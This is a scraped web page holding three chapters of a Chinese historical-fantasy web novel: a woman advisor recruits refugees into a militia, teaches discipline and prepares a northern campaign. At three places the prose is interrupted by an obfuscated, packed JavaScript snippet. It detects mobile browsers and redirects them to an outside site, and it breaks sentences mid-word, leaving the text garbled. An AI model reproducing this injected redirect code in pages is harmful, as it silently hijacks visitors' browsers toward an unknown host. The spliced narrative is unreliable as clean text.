推杯换盏、酒至半酣,一乐妓持盏劝酒,她已闻出那酒中有料,示意主上不要喝,可顾洲依旧笑着接过饮下,她心中一沉,必须尽快离开这里,这合欢散的药劲上来,饶是意志再坚定的人也招架不住。 于是她佯装吃醋,摔了那酒盏,主上也默契配合,终于离了宴席。 到了马车上,顾洲全身已是滚烫如火,眼尾带上了猩红之色,徐铭赶紧翻出上清丸给他服下,可这药终究还需些时间才能起效。 他紧闭着双目,额头上轻筋暴起,细密的汗珠聚在一起自鬓角流下,又顺着脖颈浸入衣领中,双手不由自主紧紧攥着衣袍。 这药令他口干舌燥,体内似有一团幽火在游走灼烧,一寸寸摧毁着理智,如同在欲海边缘徘徊,渴求一个发泄的机会。 “主上……”海棠担忧地叫了一声。 可这声音在顾洲听来却是魅惑无比、摄人心魄,他半睁开眼睛,眸光迷离不清,喘息着将手颤巍巍地着伸向海棠白皙的面庞。 在即将触到的一刹那,最后一丝清醒令他将手臂抬高,从海棠发髻上拔下一根簪子,使劲刺进了自己的大腿,一下不够,便拔出来再刺一下,之后才长长地舒了一口气,向后靠去瘫软下来。 海棠早已做好将他打晕的准备,见此状况也松了一口气,掰开他带血的手拿出簪子,为他搭了脉,上清丸已见效,只需好好休息即可。 这药的厉害她也领教过,主上竟然扛来过来,着实让人佩服,之后还清醒吩咐她沐浴更衣,不要留下痕迹。 这些她自然知道,只是今日特意提起,真是奇怪,她也没有功夫计较这些,今晚的事,背后主谋是谁,还要仔细查证一番。 还有赴宴之事只有几个随行的侍卫知道,可刚听沈明月到话,似乎她也知道,但她是从何而知?这女子绝对有问题! 海棠思绪烦乱,不再言语。 没有得到回应,沈明月一阵尴尬,不好多问,预估着明日的困难,渐渐地到周公处报到了。 次日一早,她醒来时,海棠正歪在榻上,而她一个人占了大半个床,心中更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350341|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加愧疚。 她听着外面无甚动静,又看着海棠睡得沉稳,此刻起床似乎有些早,她便翻了个身打算再躺一会儿。 不知过来多久,半梦半醒中只听得“啪嗒”一声,沈明月惊坐起来,只见一个身影从窗外翻进来,定睛一看竟然神色略带慌张的顾洲。 海棠也被惊醒,与顾洲交换了眼色,似是心有灵犀般行动起来,顾洲脱了外袍丢在地上,海棠将发髻散开,又把衣架上的衣衫散落在地,而后将自己的领口扯开一些。 沈明月不明所以,正不知如何是好之际,顾洲径直来到床上,道了声“得罪”,用被子将她捂在床上,他自己则偎在她身旁。 沈明月感受着顾洲身上的晨凉,听着他胸膛中如击鼓一般的心跳声,渐渐意识到他们是在做戏,于是一动不动,安静地听着外面的动静。 外面传来侍卫的声音:“放肆,不得入内。” 而后身边人似乎坐了起来,用慵懒的声音说道:“什么事?这么吵?” “回将军,是裴州牧派人来探望殿下。” “让人进来吧!” 裴济的人进来后,见满地衣衫,一女子衣衫不整跪地叩首,便知昨夜发生了何事,这人跪拜道:“小人拜见将军,昨日席间未能让将军尽兴,我家主人甚是懊悔,特派小人来为将军送些补品以示歉意。” 昨夜席间顾洲迟到早退,令裴牧生疑,一来担心他是对自己不满,二来想探查一下他在军营的情况,于是遣人前来谢罪。 “无妨,都是小事,回去告诉你家州牧,昨夜本将军很是……受用!” “是,小人告退。”那人说着起身,用余光扫视一周,隐约见床上似乎还有一人,心中暗笑:一龙戏二凤,还真是受用,此事要快快回去禀报。 正当沈明月喘不上气来时,海棠为她掀开被子,说了声:“没事了。” 而此时的顾洲正在系腰间的玉带,看了她一眼后低头离开。 他脸红了!他居然害羞了!呸!装什么清纯玉面郎? 沈明月不屑了一番,再看向海棠,只见她仿佛什么也没发生一般自顾自地收拾残局。 沈明月反倒有些不好意思,方才该是海棠在这床上,看她的面色,似乎有些不悦,的确,她应该不高兴,是自己占了她的地方。 她刚想向海棠道歉,海棠却已收拾好好出门去了, 看着床上残留的身体形状,沈明月有些懊悔,昨日之事还没说明白,今日又来了这一出,她要赶紧找徐铭换个地方,起身后找出一套粗布短衣换上,将头发束于脑后挽成一个发髻,用发带束好,出门去找徐铭。 徐铭并不在住处,问了巡守的军士才知他在大殿值守,她又来到大殿,门口值守的侍卫多来一倍,也并不让她进入,只是派人进去回禀。 不多时,徐铭出来,神色带着疲惫,他问道:“沈先生怎么这么早,太阳还没出来呢?” “顾……将军可告知你今日要跟着我?”沈明月本想称呼“顾洲”,但似乎又觉不妥,便改了口。 “嘘……”徐铭做个个噤声的动作:“先生小声些,主上还没醒,说倒是说来,只是今日主上有些……不适。” 一定是昨晚鬼混的缘故,沈明月假装不知,鄙夷地瞥了一眼殿内:“他身体不适也不能耽误计划……对了,你得帮我换个住处。” “徐铭……”殿内想起顾洲虚弱的声音。 徐铭应声而入,不多时便出来问道:“我今日听先生差遣,先生有何安排?” 沈明月说完将一张纸交给他:“给你一个时辰安排,安排完之后赶紧给我换住处。” “那住处不行吗?”徐铭嘟囔着打开纸条,只见纸条上写了两句话:修缮灾营、施粥济民。 徐铭立即领会精神,自去调集人手,不出半个时辰,灾民营门口就支了两口大锅生火熬粥,锅还没开,就已经有不少人来排队。 沈明月在粥棚旁边安排了一些小椅,立了一个牌子:招工。 14. 纪律 流民无以为生,见“招工”二字招工后围拢过来,待听闻管吃管住后纷纷报名,一日下来竟招了百余人,徐铭暂且将其安顿在灾民营。 下午沈明月来到灾民营,支起摊位,干起了老本行,她热情地招呼人话家常、说故土,引得流民们无不叹息流泪,不多时周围便聚集了一群人。 一个中年人说道:“今年年景不错,应该是个丰收年,可豆种刚种到地里,北蛮人就来了,也不知现在豆苗长得咋样了。”说完深深叹息一声,眉眼间尽是对豆苗长势的担忧。 一个女子抹着泪说:“好在你家人都逃出来了,我们一家八口,只逃出来我夫妻二人和两个孩子,一个孩子还病死在半路上……”说完再也控制不住,呜呜地哭起来。 悲伤的气氛迅速蔓延开来,周围人无不感伤落泪。 一个略显粗壮的男子拍案而起:“哭有什么用,照我说咱们就该打回去,为亲人报仇。” 一位瘦骨嶙峋的老者开口道:“你说得倒是容易,咱们打就是造反,朝廷若想打早就打了,还用等到今日这般田地?” 粗壮男子叹了口气,坐回原位。 看来流民也有这个意思,沈明月又听了几个人的诉苦,最后拉住那个粗壮的男子,“敢问这位大哥姓名,可否借一步说话?” “我吗?”男子有些意外,“我叫肖广林。” “肖大哥,是这样……” 二人边走边说大营正在招收义军,要带乡亲们打回家乡、赶走外敌、夺回土地、报仇雪恨的计划。 “真有这事?”肖广林并不相信眼前的人,招募义军这么重要的事怎会交给一个弱女子办理。 “千真万确,此事是营州军防联合灾民剿匪除寇,朝廷不会追究责任,义军虽无军饷,但其亲眷可以居住在灾民营直至还乡,其间大营每日按人提供□□食。” “这事你能说了算?”肖广林依旧疑惑。 “能……”沈明月心里还是打鼓,这方案虽写在计划书中了,但这一点并没有和顾洲商议过,不知他会不会同意。 此时徐铭拿着招募名单小跑着过来,“沈先生让我好找,您看这是工匠名单,这是家眷名单。” 沈明月接过来看了看,姓名籍贯均有登记十分详细,“不错,去安排他们的吃住吧!” “是!”徐铭立即去办。 肖广林见军中的人都听她的安排,才知这女子的确是个管事的,思忖了现状后答应道:“我参加,留在这里也不让进城,又没有营生活下去,还不如打回去,要死我也死在自家地里。” “好!” 徐铭的出现也让沈明月有了自信,这“长史”一职看来不是虚名,她继续说道:“大哥身边可有值得信任之人,此事不是你我二人之力可及,需要更多人参加,团结才有力量。” “这包在我身上,我老肖别的本事没有,招呼几个人来还是没问题的,姑娘稍等,我这就去叫人。” 不多时,肖广林就带着十余人到来,沈明月带着一行人到一间房子内,继续了解情况,以便制定后续的计划。 事情十分顺利,如此,这一日便成功地拉到了五十多人入伍,此后几日内便迅速组建起一支五百人的队伍来,而营州城外,再无流民。 顾洲任命徐铭为骁骑校尉,协助安排义军组建事宜。 徐铭按照沈明月方案中说写的,为每人分发了物品,一身新制粗布短衣、两双鞋子、一床被子、一个干粮袋、一个药品包,此外还有两根带子:一条背包带、一副绑腿。 经过几日接触,沈明月按照这个时代军队建制,将队伍分成五个营,从中选出五个精干之人担任百夫长,并让徐铭从军中调来五人担任监军。 徐铭调来之人皆为军中主力,自然不甘服从于一个小小的百夫长,当即有人不服命令,发生了争执动起手来,引得众人围观。 沈明月听见动静立即前来查看,拉开争执者遣散众人,徐铭依军规要打每人二十军棍。 可她觉得不妥,但没有直说,她不能驳了徐铭这个校尉的面子,于是委婉地说道:“徐校尉且慢,大家都是初次相识,一时言语不对也情有可原,还请徐校尉饶过大家这一次。” 看着沈明月行礼,徐铭愣了一下,但随即反应过来这是在维护他的权威,他严肃地看了众人一眼,故意低沉着声音说道:“念在大家是初犯,又有沈长史求情,暂且饶了你们这次,若有下次一定严惩。” 动手的监军却不服气:“男人的事岂能由女子插言,还沈长史,你一个女子整日抛头露面的,混在男人堆里,将来可有谁还敢娶你呀!” 众人听完一阵哄笑,目光投向沈明月。 “放肆!”徐铭学着主上的口气,带着担忧的目光看向沈明月,却见她并不慌张,也未难为情难为情。 只听沈明月说道:“女子又怎样?因为是女子就该大门不出二门不迈,守在闺阁等着嫁人吗?我告诉你,女子照样可以顶半边天。如今北境告急,不论男子还是女子,人人皆有责任拯救同胞于水火,你可知这几日里,有多少女子想入伍来,若不是需要她们缝制衣物被褥,在后方支持队伍,早就让她们来了,你如此说话便是破坏团结,孤立女子。你违抗军令,是想破坏抗敌联盟?还是想破坏统一战线?” 沈明月先发制人,先给了他扣了一定不服从命令的大帽子,这些日子来,义军中从未有人因她是女子而猜疑或轻视于她,反而是这些军营中的人,一上来便借此向她发难。 回想她在别院授课之时,那些侍卫也曾因她是女子而不服于她,究其原因应是阶级立场不同。 义军是农民阶级,在传统自给自足的小农家庭里,男耕女作,女性同样承担了重要的农事生产,这让人们对女性更为尊重,而这些监军大都来自统治阶级,男尊女卑的思想固化,女性被物化只作为男性权利的工具。 沈明月叹息一声,离开了人群,深深的无力感将她包围,这是几千年的历史中的糟粕,哪里就能轻易改变,即便是她曾经的那个时代,女性的权利依然有限,而像她这样能受到教育、上阵杀敌的更是寥寥无几,她算是一个幸运儿。 徐铭见她神情黯然,喝退了众人,追上去说道:“沈先生刚才实在对不住,我替他们向你道歉。”说罢行了一礼。 “快打住,让别人看见,你这校尉的威严何在?” “主上给先生准备衣服的时候就想到了这一点,先生怎么没穿?” “穿了又有什么用?瞒得了一时,瞒不了一世,我要让世人明白何谓‘巾帼不让须眉’。” 提到顾洲,沈明月才发觉已经好几日没见到他了,海棠也是每晚很晚才回来,有时甚至不回来,不过她现在也没功夫去管他们。 她这几日也是忙得脚打后脑勺,竟忘了换住处一事,于是问道:“我换住处的事,怎么样了?” 徐铭挠挠后脑勺,带着歉意说道:“我忘了……但是先生最好还是先和海棠同住,近来营中人多,我怕先生有危险。” 沈明月无奈,他也忙得很,还是先解决眼下之事吧! 她顿了一下,回到正题:“人们的观念根深蒂固,这些事不是一朝一夕能解决的,眼下这个情况需要开个会,你去准备一下,请五位百夫长和五位监军参加。” 徐铭痛快地答应随后便去安排,会议室设在灾民营的一间小屋内,依旧按照沈明月的习惯将一排案几拼成长桌,半个时辰之内众人皆到场。 沈明月进来的时候,长桌的一侧是五位百夫长随意站立,小声交谈着,更有甚者将衣襟敞开散热;另一面是军中的五位监军,个个身着甲胄、面色威严,并不将对面的百夫长放在眼里,只等徐校尉及沈长史到来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350342|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她更加直观地感受到了两拨人的水火不容,笑着缓解紧张气氛:“抱歉、抱歉,迟到了,请入座。” 百夫长一方纷纷落座,监军一方则等沈明月一再要求,待徐铭首肯后依次落座。 “大家放松一下,先看一下纸上的内容。”沈明月说着将手中的纸分发给大家:“上面有前几日徐校尉给军士们分发的物品,这些物品是要求军士们随身携带的,至于如何打包我一会儿教给大家……” “现在呢,我要与大家讨论一个非常重要的问题,那就是纪律。”她这时的面色变得极为严肃,“所谓纪律,就是规矩,就是兵法中所说的‘信’和‘严’。” 说到这里她又发觉有些人开始茫然,于是咳来一声继续说道:“咱们说简单一点,纪律不仅是规则的遵循、行为的准则,更是军队的战斗力、是夺取胜利的重要保证,纸上的几条纪律和几项注意,回头大家誊抄一下传到自己的队伍里,务必人人会背,务必落实到位。” 肖广林看着纸条,插嘴道:“这上面的字……我们认不全。” 这话引起监军们的讥笑,但但碍于徐铭在场,都不敢表露。 沈明月说道:“无妨,散会后请各位监军教大家认识,咱们大家伙儿现在是一个整体,咱们有着共同的目的,那就是驱除外敌、平定北境,这一点,我们要在思想上、态度上、行动上达到高度共识。” “我们希望大家明白,我们这支队伍,是军队和人民共同组成的队伍,归根结底是人民的队伍,做任何事之前都要想想是否对得起人民,现在留给我们的时间并不多,不日我们就将奔赴战场,我希望大家能放下小节,以大局为重,不要浪费时间,全身心投入准备中,今日这样的事,以后不允许再发生,若有人违反,严惩不贷。” 她说完,扫视了一圈监军,见一个个面容严肃,便知这一番话起来作用。 “时辰不早了,大家吃完晚饭带着被子到大营里,咱们学习打背包,好了,我没别的要说的了。” 沈明月说完看向徐铭。 徐铭有些茫然,没明白她的意思。 沈明月无奈道:“徐校尉可还有指示?” 徐铭恍然:“没有了,都下去吧。” 沈明月无奈地看了他一眼,也出了屋子。 徐铭追出去小心问道:“沈先生,我是不是说错什么了?你说得云里雾里的,我有些不太明白。” 沈明月驻足,耐心地说道:“下次要说‘散会’……我今日说的只是给大家灌输个理念,以后再让大家慢慢理解理解。徐铭,你现在是校尉,拿出校尉的样子来,多学习学习。” “我……我就是个傀儡……不知道该做什么。” “你不是傀儡,你家将军能你放到这个位置上,说明你有这个能力,要有自信,负起责任来。记住以德服人、以理服人,不要像他那样,动不动就军鞭、军棍的,你要知道惩罚不是目的、教育才是根本,下次试着让他们写检讨……就是悔过书,只有让他们在思想上认识到错误,他们才会改正” 徐铭仿佛受到了仙人指点一般,痛快地答应道:“是,先生。” 此后军士们白日里训练,晚间开会学习,到了第五日,倒也有了正规军的雏形,但在沈明月看来,这支队伍还有很多问题,她白日忙碌,只能等夜间安静下来,整理分析问题、写下解决方案。 连日劳累,让她有些招架不住,但却硬撑着,一想到等问题都解决了,这必然是一支精锐之师,出兵北境必胜无疑,就有了十足的动力。 炎炎夏日,已至中伏,算算日子她已经入军营半个月了。 这日,她看完义军操练,回去打算再安排一次“单兵作战”的学习,抬脚只觉脚下轻飘,额头冒出一层虚汗。坚持走了几步便没了力气,只得找个地方坐下休息,可一闭眼便昏睡过去。 15. 本质 好困,真想好好睡一觉……可是不行,还要开会…… 沈明月脸贴着软软的被子,内心挣扎要不要起床,但立即意识到不对,现在是午时,怎么会在床上?怎么会有茉莉香? 她还没睁开眼睛,就听屏风后传来顾洲的声音:“她怎么样了?” 接着是海棠的声音:“劳累过度,又中了暑热,主上的伤还没好,不该亲自送她回来。 “无碍,只是没想到你那簪子这样锋利。” 听到这里,沈明月神思归位,觉得不应该睁开眼睛,海棠的簪子刺伤了顾洲,这是什么鬼热闹,她继续听下去。 却听海棠说道:“属下已查清,那日下药之人是教坊司歌舞色教头,是受秦王指使,但当日献艺之人都是裴济亲选之人。” “你的意思是,裴济是秦王的人?”顾洲的声音有些低沉。 海棠:“属下无能,还没有查清楚。” 顾洲:“继续查……北境可有新消息?” 海棠:“安庆已失守,冲突越来越严重,边境守军只能被动防御,可奏报上只说议和不顺、屡有冲突。” 一阵沉默之后顾洲才缓缓说道:“看来是有人故意隐瞒……” 海棠:“还有一事……” 顾洲:“什么事?” 海棠:“属下觉得沈明月这人十分可疑,隐藏很深,上次赴宴之事她似乎知道……” “此事不要再查了,她不出大营就掀不起什么风浪来,我会告诉徐铭盯紧点。”顾洲的声音略带愠怒。 海棠小声嗫喏道:“只怕徐铭已被收买……” 床上的沈明月暗暗叹了口气,真不知道他们要怀疑到什么时候?此前她还有所顾忌,尽量依着这个是时代的习惯方式来,但以后没必要了,反正怎么都被认定是细作,干脆就放手去做,没什么顾忌的了。 北境已经开始有城池沦陷,看来出兵迫在眉睫,听到这里,她觉得自己没有必要再躺着了,起身径直走到屏风外,路过二人时说了一句:“明日出兵。” 之后头也不回地出了门,只听得身后海棠惊讶的声音:“她……她是在命令您?” 沈明月走向义军大营的路上,却遇见徐铭。 徐铭将她拉至阴凉处说道:“沈先生,我正要去看您,有个人想要见您,我想打发了他,他却说什么也不肯走。” “是谁?”外面的暑热令她有些精神不济。 “不认识,看样子像是个书生。” 书生?她哪里会认得什么书生,“走,去看看。” 二人来到灾民营,只见一个青衫男子迎面走来,笑道:“果然是观音庵的沈先生。” 这声音倒是有些熟悉,沈明月却不记得他是谁,带着些疑惑问道:“敢问你是?” 男子掏出一个空钱袋双手奉上:“沈先生真是贵人多忘事,在下朱文。” 沈明月看着钱袋上彩云遮月的绣纹,才想起此人来,“原来是你呀,不好意思,变模样了没认出来。” 短短几日,此人胖了许多,面色红润起来,整个人看上去也精神了不少。 “还要多谢先生的救命之恩。”朱文拱手为礼,接着说明来意:“听闻营州城防修缮大营征集工匠,在下前来应征。” “这样啊,但招工一事早已结束,你请回吧。” 沈明月并不想留下他,她看不惯他身上那股酸腐劲儿,再说这实际上是征兵,就像他自己说的,他手不能提肩不能扛,招进来怕只会拖后腿。 朱文却说道:“沈先生且慢,在下正是看了大营的修缮情况后才来的。” “此话怎讲?”沈明月心中带上了一丝戒备,大营周围日日有军士巡守,无人能靠近,他能看出什么? 朱文似乎就等着她这样问,微微一笑:“大营大张旗鼓地招募工匠修缮工事,却不见有人进出,莫不是这人日日从天降?” 原来是这个,沈明月一笑:“告示上很清楚,包吃包住。” “即便是这样,那为何不见运输材料的车马进出,难道这些大营中也能自给自足?再者,说是招募匠人,为何这城里城外的流民都不见了?莫不是这些流民另有他用?” 沈明月听完,神情茫然了片刻,这话的确有道理,此番义军招募、训练皆行事隐秘,对外只说修缮工事却无动静,有心之人一看便会看出端倪来,这么重要的问题却被忽略了。 时间越久,走漏了风声的几率越大,不仅计划失败,大有可能会被安上造反的罪名,到时候真是赔了夫人又折兵。 刚才她对顾洲说的“明日出兵”的话,多少带有赌气的成分,但现在看来,出兵势在必行,带人离开这里是最好的对策。 虽然心中开始担忧,但她立即恢复神色,笑道:“以工赈灾也不算什么新鲜事吧……你如此关心城防,倒是心怀天下之人,这样,下次再招募,我给你留个好差事。徐铭,送客! 她不容朱文说什么,转身想走。 朱文却拦在她身前,说道:“沈先生,你那妹子倒是机灵,只说你出了远门,不过你这远门出得可真是挺远的,呵呵……” 未等沈明月说什么,徐铭利剑已出鞘,质问道:“你对她说什么了?” 朱文拨开剑锋,笑道:“没什么,在下只是说会帮她找一找沈先生。” “你到底想做什么?”沈明月失了耐心,听着他阴阳怪气的话,真想上去揍他一顿。 “在下只是想回乡去,沈先生不必疑在下,在下是真心实意想帮助先生。”朱文说完又是拱手为礼。 沈明月看着他略带得意的面容,咬着后槽牙装笑道:“既然如此,就请去招工处报名。 看着朱文从容离去的背影,她垮下脸来,真是个小人,居然敢威胁本姑奶奶,既然你有意留下来,就别怪我好好利用你。 她叮嘱徐铭:“此人出自北境富户,说不定对咱们有帮助,多留意他。” 此话说完,她忽觉好生熟悉,海棠像防贼一般防着她,她又像防贼一般防着朱文,真是因果循环。 之后她又与徐铭分析了义军情况,确认可以出兵后,又交代了一些细节问题,“就这些了,你去找顾洲说一下,若他同意,立即传达下去。” “先生怎么不自己去说?”徐铭觉得,出兵不是小事,怎么如此草率地决定下来。 沈明月冷笑一声:“我在他那里一直都是细作,现在他也开始怀疑你了,正好你去解释一下。” “一定是海棠说的……这个女人真是奸诈。” “你也别这样说,站在她的立场、她角度来说,我的确不值得信任,而你日日与我在一起,难免也要被怀疑。徐铭,记住,看待问题要全面,要透过现象看本质。” 这番道理让徐铭又是一阵挠头:“什么是现象?什么是本质?” “现象是海棠怀疑我们,本质是她担忧顾洲和大营的安危。”沈明月精神不济,没有力气去引导他思考。 “她是怀疑我对主上不忠?只有她对主上忠心吗?我们哪个不是这样?”徐铭未能理解她在说什么,有些不平:“亏得先生还教过她、为她说话,她却不这样想。” 看来还得慢慢教导,沈明月暗暗叹了一口气,说道:“倒也不是这个意思……你自己做到问心无愧便好,去吧。” 徐铭走后,沈明月强撑着身子回到议事处,将舆图摊开寻找安庆的位置。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350343|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安庆位于营州最北端,亦是齐国最北端,安庆西南是凌源、东南是兴城,三城形成三角之势,此番出兵收复安庆,驻军哪里比较合适呢?当地的地形又是如何呢?敌方的战斗力又怎样?她不了解具体情况,此事还需和顾洲商议一下,或许他有更好的计划。 这些先放一边,出兵不能太明显,需分批次出动,她拿出笔墨,开始写详细的计划书。 正思考到要紧的关头,顾洲与海棠的到来打断了她。 此前她离开住所后,顾洲回到正殿查看了舆图,正在思考该如何应对北境之事,徐铭来回禀:“沈先生建议明日出兵,问主帅是否应允。” 看来这沈明月真的越过他这将军做了决定,他眸底闪过一道凌厉,看着徐铭问道:“我若不允呢?” 虽然知道不该疑心二人,可现在他觉得他的权力受到了威胁,他虽然不管底下人如何去执行命令,但绝不允许他们自做主张、越权行事。 这一眼令徐铭身躯一震,他的沈先生不轻易动怒,义军中的氛围也是严肃中带着活泼,这些日子里虽忙碌,但精神上却是轻松的,以至于他将这种轻松带到了主上面前。 待反应过来,主上已然动怒,他急忙跪下请罪:“主上恕罪,是属下僭越了,但主上……现在已到出兵的时机,在晚些只怕北境的情况会更严重。” 顾洲当然知道事情的严重性,他避重就轻:“你既然知道僭越了,就要受罚,去领二十军棍。” 不料徐铭说道:“将军,能不能以后再罚,现在属下还有任务还未完成,属下先给您写份悔过书。” 将军?平日里在人前,徐铭才这样称呼他,顾洲脸色愈发阴沉:“你倒是学会讨价还价了!” “属下不敢,只是军中要务太多,属下怕误了大事。” “去将这几日义军训练的记录拿来,我看你到底有什么大事。” 顾洲支走了徐铭,便与海棠来找沈明月,只见她面色苍白,对着纸上的文字愣神。 见他二人进来,沈明月立即起身说道:“你们来得正好,我有些事需要和你们商议。”之后她对着舆图,说了自己的计划,问了心中的疑问。 顾洲听她所问之事,正与他所想的作战计划相契合,便暂且忘记了他们越权一事,细细与她商议了一番。 此次行动,目的地是凌源,凌源守将韩成是齐国大将韩明之子,韩明是两朝重臣,韩氏父子妻小均在京中,顾洲赌他不敢有贰心,而他对兴城守将陈广生不甚了解,不敢贸然前去。 最后还定下计划:义军分批次出征,大营调派二千人马,以换防的名义同去,义军走暗路,军队走明路,二者相互配合,守望相助。 最后沈明月说道:“既然此事已定,还请将军下令,我……需要休息一下。” 她精神高强度集中,此时松懈下来,便有一股疲乏感袭来,眼皮摇摇欲坠,实在是困到了极点,话刚说完,便伏在案几上睡了过去。 从未见过有人入睡如此之快,顾洲以为她又晕了过去,便摇了摇她的胳膊,“沈明月?” 海棠上前探了探鼻息,又搭了脉,确认无事后对他摇了摇头。 他松了口气,示意海棠将她挪到小榻上,又看着那未完的计划书,忽觉自己刚才不该有情绪,现在他们的目标是一致的,每一个人都在为了这个目标而努力,而他却苛责他们的僭越。 自己真是昏头了,竟将党争的情绪带到军政上来,沈明月说得对,“其位谋其政,不要为一些眼前的利益而耽误了家国大事,民族大事”。 他轻咳了一声掩饰内心的愧疚,对海棠说道:“叫徐铭来。” 之后提笔写下了出兵的军令。 16. 出征 沈明月不知睡了多久,醒来时已是日暮西山,这一觉睡得舒服极了,只觉现在精力无限。 棠守见她醒来,将在出兵的军令交给她后便离开了,她看着纸上的墨迹,一笔一划力透纸背,似乎带着坚定的决心。 只是这命令下得匆忙,她决定晚间开一个动员会。 晚饭后,她来到义军大营,叫来几位百夫长及监军,就地围坐在一起,开起了会。 “此次出征名义是剿匪,这一点大家要牢记清楚,出征的目的地是凌源,各营单独行动,大家都自北境而来,想必那里的地形情况,大家都比我熟悉,走哪条路线、日程如何安排,大家自己计划,但务必在十日后到达凌源,与大部队集结。” “之前给大家配备的补给可供单兵作战维持七日,行军期间,补给不足需大家自行补充,但是要注意纪律,最重要一点不得扰民。” 此话一出,几位监军面露难色,几位百夫长也交头接耳起来。 沈明月环视一周问道:“可有困难?” 肖广林说道:“没有,这个好说,以前进山打猎,一去就是十天半个月的,这短短几日算什么。只是,如此分散力量,若遇见北蛮人,我们该怎么办。” “我已看过战况,由此到凌源的必经之地都在我军可控范围之内,若真遇敌军,要切记避其锋芒,保存实力。从今晚开始,各营分批次离开,明日天亮前全部离营。” 众人皆默然点头,重要的事情交代完毕,大家便开始探讨起北境的情况,围上来的人越来越多。 “纪律,这是最重要的一点,之前的几项纪律和几项注意,务必人人会背,务必人人遵守。”最后,沈明月站起来:“明日我们就将出征,望诸位齐心协力,一路平安,顺利会师。” 一番话鼓舞了人心,众人眼中皆充满了坚定与希望,之后纷纷归营商量行军计划。 沈明月悄声对程岳说道:“让几位监军到营帐里,单独开个会。” 很快,几人又集结到了营帐内,沈明月一改刚才轻松的神色,颇为严肃地说道:“把大家叫来是有更重要的事情要说,是关于队伍的领导和联络问题,虽然各位要听从百夫长的领导,但诸位却是核心,是队伍的凝聚力,诸位要引领队伍的正确发展,做好团结思想工作,有矛盾及时化解,还有及时与军队联络,联络方式一律使用加密信息。” 几位监军毕竟出自正规军,有丰富的作战经验,沈明月安排他们来监军,就是要保证军队对义军的领导,组织教学、引导义军的思想正确发展,监督并保障义军纪律,这角色其实就相当于“政委”。 散会后月亮已升到了头顶,她下令每一个时辰出发一个营,天亮之前义军必须全部离营。 第一营的百夫长和监军来向她告辞,之后带着人悄声离去,借着月色没入山林中。 月光亮似白昼,冷冷为山林蒙上了一层银霜,银霜下是阴森而压抑的黑暗,似乎会将踏入里面的东西全部吞噬。 沈明月看着这幽深,心仿佛被一只手揪住,几声低沉的狼嚎传来,让她感到一阵恐惧,这一去前路未卜,这一去归还无期,不甚至知能否归还……但他们必须要走下去。 回望军营,营帐里的灯火好似纱囊里的萤火虫,在月华下里放着异彩,最亮的当属中间的大殿,顾洲还没有休息。 想到顾洲,便又想到海棠,她还欠海棠一个道歉,但海棠的住处没有亮光。 算了,没有时间去找她了,就这样吧,若能活着回来,再向她解释不迟,有些事用时间来冲淡一下,或许会更好些。 “沈先生!”徐铭的声音打断了她。 “什么事,这么火急火燎的?稳重一些。” 徐铭是跑上这瞭望台的,他喘着气说道:“先生,那个书生要见你。” “朱文?他还真报名了?” “是啊,我按您的吩咐把他关起来了,这会儿吵着要见您。” 唉,还真是执着,看在他这么爱国的份上沈明月决定带上他,但是他拿莺儿做威胁这就不行,要好好治治他。 下来瞭望台,她就做好决定:让朱文做她的“挑夫”。 她已收拾好行囊,要带的东西比其他人多了许多,就现在的这副身板来说的确是有些困难,现在好了,来了一个“挑夫”,真是天助我也! “什么?挑夫?”朱文理了理衣服上的褶子,十分不满地说道:“我过来是为了报效国家的,不是来当苦力的!” “你还挑拣上了!”徐铭率先开口,“能跟着沈先生你就知足吧!” 沈明月则看出他的傲气,故意放低姿态说道:“朱兄此言差矣,朱兄见多识广、博学多才,又对北境了解甚多,我是想请朱兄帮我参谋计划,但我又无权任命,只得委屈朱兄做这‘挑夫’了。” 这话才让朱文脸上满意起来,挺着后背拱了拱手:“恭敬不如从命。” 呵,沈长史!改口改得还挺快,沈明月心中不屑,但要继续演下去,“烦请徐校尉为他安排一套装备。” 这次徐铭倒是意会到了她的意思,清了清嗓子,带着命令的口吻说道:“跟我来。” 沈明月想着快出发了,再检查一下行装,突然想起海棠给她的药膏没拿,那药膏药效极好或许能用得上。 于是回到住处,拿了药膏环视一周,发现还有一些笔记,这都是废弃的方案,她卷在一起打算拿走销毁,出门却见一个背影立在月光下。 她一眼看出是顾洲,也许他看见灯光亮了,以为是海棠回来,不能再生误会了,她主动打招呼:“将军,海棠还未归。” “我……找你。”顾洲这话说得有些犹豫。 “有什么事吗?” “今日海棠说的话……我替她向你道歉。” “原来是这事,没关系,我都忘了,将军要没有其他事,我先走了。” 这纨绔会亲自替海棠道歉,可见对海棠的感情是真的,但看他们这样子,倒像是假戏真做,不过很多事情一开始或许是假的,但到最后往往是成了真的。 